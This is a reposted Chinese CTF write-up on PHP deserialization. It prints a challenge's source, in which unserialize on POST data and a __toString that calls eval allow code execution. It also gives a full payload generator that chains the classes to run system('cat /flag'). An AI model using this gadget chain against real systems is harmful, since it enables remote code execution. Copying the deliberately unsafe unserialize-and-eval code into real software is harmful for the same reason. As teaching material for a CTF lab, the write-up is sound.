PHP反序列化__toString()

admin 2026-04-07 01:36:09 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文分析PHP反序列化漏洞利用技巧,通过CTF例题演示如何组合destruct和toString方法实现代码执行。关键发现是当GIT类username为ZeroZone时输出password属性,若password为ZeroZone对象可触发其__toString中的eval函数。文章提供完整payload生成代码实现system命令执行,并给出防御建议。 综合评分: 84 文章分类: 漏洞分析,CTF,WEB安全,代码审计,红队


cover_image

PHP反序列化__toString ()

原创

晨星安全团队 晨星安全团队

晨星安全团队

2026年4月6日 15:05 湖南

题目来源于青少年CTF练习平台——ez-ser

打开网页给出源码

class GIT {

    public $username;

    public $password;

    public function __construct(){

        $this -> username = ‘guest’;

        $this -> password = ‘welcom to GITCTF!’;

    }

//如果用户名为 ‘ZeroZone’;则输出密码;否则输出提示信息

    public function __destruct(){

        if($this -> username == ‘ZeroZone’){

            echo $this -> password;

        }

        else{

            echo ‘ZeroZone Lab new bee !’;

        }

    }

}

class ZeroZone{

    public $code;

    public function __toString(){

        if(isset($this -> code)){

            eval($this -> code);

            return ”;

        }

        else{

            echo “代码呢?”;

            return ”;

        }

    }

}

//创建一个新的GIT类实例

$data = new GIT();

if(isset ($_POST[‘data’])){

    $data = unserialize($_POST[‘data’]);

}

让$data->username == ‘ZeroZone’,并让 $data->password

由于__destruct()会输出$data->password,如果能让$data->password为一个ZeroZone对象,并且触发__toString(),就可以执行任意代码

<?php class GIT {     public $username;     public $password; } class ZeroZone {     public $code; } //构造恶意对象链 $zero = new ZeroZone(); $zero -> code = “system(‘cat /flag’);”; $git = new GIT(); //触发密码输出条件 $git -> username = ‘ZeroZone’; //触发\_\_toString()方法 $git -> password = $zero; //生成payload echo serialize($git); ?>

-END-


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:晨星安全团队 晨星安全团队 晨星安全团队《PHP反序列化__toString ()》

评论:0   参与:  0